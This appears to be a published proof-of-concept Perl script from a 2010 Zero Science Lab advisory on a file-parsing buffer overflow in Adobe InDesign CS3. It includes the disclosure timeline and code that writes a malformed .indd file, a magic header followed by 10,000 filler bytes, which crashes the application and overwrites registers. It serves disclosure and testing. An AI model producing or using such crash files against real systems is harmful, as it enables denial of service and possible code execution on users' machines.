#!/usr/bin/perl## Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability## Vendor: Adobe Systems Inc.## Product Web Page: http://www.adobe.com## Version tested: CS3 10.0## Summary: Adobe® InDesign® CS3 software provides precise control over# typography and built-in creative tools for designing, preflighting,# and publishing documents for print, online, or to mobile devices. Include# interactivity, animation, video, and sound in page layouts to fully engage# readers.## Desc: When parsing .indd files to the application, it crashes instantly# overwriting memory registers. Depending on the offset, EBP, EDI, EDX and# ESI gets overwritten. Pottential vulnerability use is arbitrary code execution# and denial of service.### Tested on Microsoft Windows XP Professional SP3 (English)#### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic## liquidworm gmail com## Zero Science Lab - http://www.zeroscience.mk## 16.09.2009#### Vendor status:## [16.09.2009] Vulnerability discovered.# [09.03.2010] Vulnerability reported to vendor with sent PoC files.# [21.03.2010] Asked confirmation from the vendor.# [21.03.2010] Vendor asked for PoC files due to communication errors.# [22.03.2010] Re-sent PoC files to vendor.# [04.04.2010] Vendor confirms vulnerability.# [03.06.2010] Vendor informs that they discontinued support for CS3 since CS5 is out.# [04.06.2010] Public advisory released.### Zero Science Lab Advisory ID: ZSL-2010-4941# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4941.php#### Raw PoC code:#$header = "\x06\x06\xED\xF5\xD8\x1D\x46\xE5\xBD\x31\xEF\xE7\xFE\x74\xB7\x1D\x44\x4F\x43\x55\x4D\x45\x4E\x54\x01";$fn = "teppei.indd";$bof = "\x41" x 10000;
print "\n\n[*] Creating PoC file: $fn ...\r\n";sleep(1);
open(indd,">./$fn")|| die "\n\aCannot open $fn : $!";
print indd "$header"."$bof";
close (indd);
print "\n[*] PoC file successfully created!\r\n";